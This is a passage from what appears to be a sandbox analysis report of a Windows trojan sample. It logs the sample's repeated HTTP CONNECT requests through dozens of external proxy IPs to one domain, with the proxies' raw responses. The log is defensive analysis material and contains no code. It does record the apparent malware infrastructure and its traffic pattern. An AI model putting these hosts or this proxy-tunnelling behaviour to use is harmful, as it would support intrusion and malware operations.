Feb 23, 2024 14:28:23.181169033 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	50352	43.153.133.208	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.104018927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	50492	94.142.137.203	9741	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.107039928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.308450937 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	50490	141.94.174.6	39796	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.110265017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.569729090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	50315	58.234.116.197	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.111963987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.401377916 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	50463	142.54.228.193	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.114816904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	50510	199.188.92.47	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.118237972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.278937101 CET	1286	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/4.15 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3594 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="SC-Proxy" X-Cache: MISS from out.domain.net X-Cache-Lookup: NONE from out.domain.net:8000 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	50509	141.94.174.6	41866	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.123954058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	50468	176.98.81.85	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.132503986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	49969	111.16.50.12	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.139799118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.041008949 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	50545	162.214.162.180	9251	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.153261900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.616600990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.147891998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.195161104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.393054008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.491946936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695147038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.898237944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289113998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	50572	199.229.254.129	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.153263092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	50382	91.108.130.111	32650	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.165096998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.964462996 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	49833	92.204.136.149	17270	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.165098906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.194906950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.195996046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.195205927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.194942951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:59.194694996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:11.212301970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	50416	41.139.147.86	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.170332909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	50326	39.105.27.30	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.184084892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.995780945 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	50559	193.239.58.92	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.184645891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	50337	210.211.113.34	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.186825991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	50383	103.14.224.104	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.190886021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.882225990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.741635084 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	50709	103.18.46.253	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.197305918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	50713	103.18.46.253	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.200052023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	50718	103.18.46.253	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.202063084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	50723	103.18.46.253	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.207251072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	50623	104.23.100.73	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.207623959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.295484066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	50632	185.162.228.128	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.213644981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.301562071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	50562	201.91.82.155	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.213948011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.741653919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.413496971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.788727045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.704083920 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	50642	188.114.99.171	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.220462084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.308931112 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	50647	104.21.64.208	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.223794937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.311723948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	50648	172.67.182.38	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
